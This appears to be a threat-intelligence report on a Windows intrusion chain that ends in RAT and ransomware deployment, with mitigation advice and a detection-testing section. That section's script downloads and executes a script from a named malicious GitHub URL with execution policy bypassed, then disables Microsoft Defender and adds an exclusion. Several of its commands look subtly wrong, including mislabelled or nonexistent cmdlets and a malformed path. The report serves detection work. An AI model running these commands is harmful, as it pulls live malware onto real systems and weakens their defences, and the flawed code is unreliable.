Inside a Multi-Stage Windows Malware Operation

Summary

FortiGuard Labs identified a multi-stage Windows intrusion chain that starts with a malicious LNK file delivered inside a compressed archive. The shortcut launches an initial PowerShell loader that pulls follow-on scripts from GitHub and later hands control to an obfuscated VBScript orchestrator. The workflow then attempts to weaken endpoint defenses by disabling Microsoft Defender, deploying the Defendnot utility, and staging both Amnesia RAT and Hakuna Matata ransomware. The operation concludes by dropping a WinLocker component that locks the desktop to disrupt recovery and pressure victims.

Investigation

Investigators reconstructed the execution path from the LNK-triggered PowerShell stage to a VBScript that rebuilds payloads in memory, culminating in ransomware deployment and desktop-locking behavior. Defensive measures were bypassed through targeted registry edits and by injecting a Defendnot DLL into Taskmgr.exe. Persistence was implemented using a combination of Run key entries and Startup folder artifacts to re-trigger the chain after logon.

Mitigation

Monitor for suspicious policy-level registry changes under HKLM\SOFTWARE\Policies\Microsoft\Windows Defender and HKCU\Software\Microsoft\Windows\CurrentVersion\Policies. Block egress to known malicious GitHub and Dropbox URLs used for staging, and alert on PowerShell download-and-execute patterns originating from LNK launches. Enforce application allow-listing and tighten PowerShell execution controls to reduce script-based initial access.

Response

If detected, isolate the endpoint, restore Defender-related registry settings to a known-good state, and remove malicious files and persistence entries. Hunt for active Amnesia RAT processes and associated network activity, and validate whether ransomware execution occurred. Perform full forensic triage to scope impact and eradicate remnants, then recover systems from clean backups where feasible.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands:
  An adversary who has gained initial foothold on the endpoint wishes to download and execute a malicious PowerShell payload while evading the default execution policy. They use Invoke‑Expression (iex) combined with Invoke‑WebRequest (irm) to pull a script from a remote GitHub raw URL, running it under -ExecutionPolicy Bypass. After establishing persistence, they disable Windows Defender real‑time monitoring to avoid detection of subsequent payloads. These steps directly generate the command‑line strings that the Sigma rule watches for.

• Regression Test Script:

  # --------------------------------------------------------------
  # Step 1 – Execute remote script with ExecutionPolicy Bypass
  # --------------------------------------------------------------
  $maliciousUrl = "https://github.com/Mafin111/MafinREP111/raw/refs/heads/main/ps1/kira.ps1"
  powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "irm '$maliciousUrl' | iex"
  
  # --------------------------------------------------------------
  # Step 2 – Disable Windows Defender real‑time monitoring
  # --------------------------------------------------------------
  # Disable real‑time protection
  Disable-MpPreference -DisableRealtimeMonitoring $true
  # Add an exclusion path (simulated)
  Add-MpPreference -ExclusionPath "C:TempExcludeFolder"

• Cleanup Commands:

  # Re‑enable Windows Defender real‑time monitoring
  Enable-MpPreference -DisableRealtimeMonitoring $false
  
  # Remove the exclusion path (if it exists)
  Remove-MpPreference -ExclusionPath "C:TempExcludeFolder" -ErrorAction SilentlyContinue
  
  # Stop any lingering PowerShell processes started by the script
  Get-Process -Name powershell | Where-Object {$_.StartInfo.Arguments -match 'kira.ps1'} | Stop-Process -Force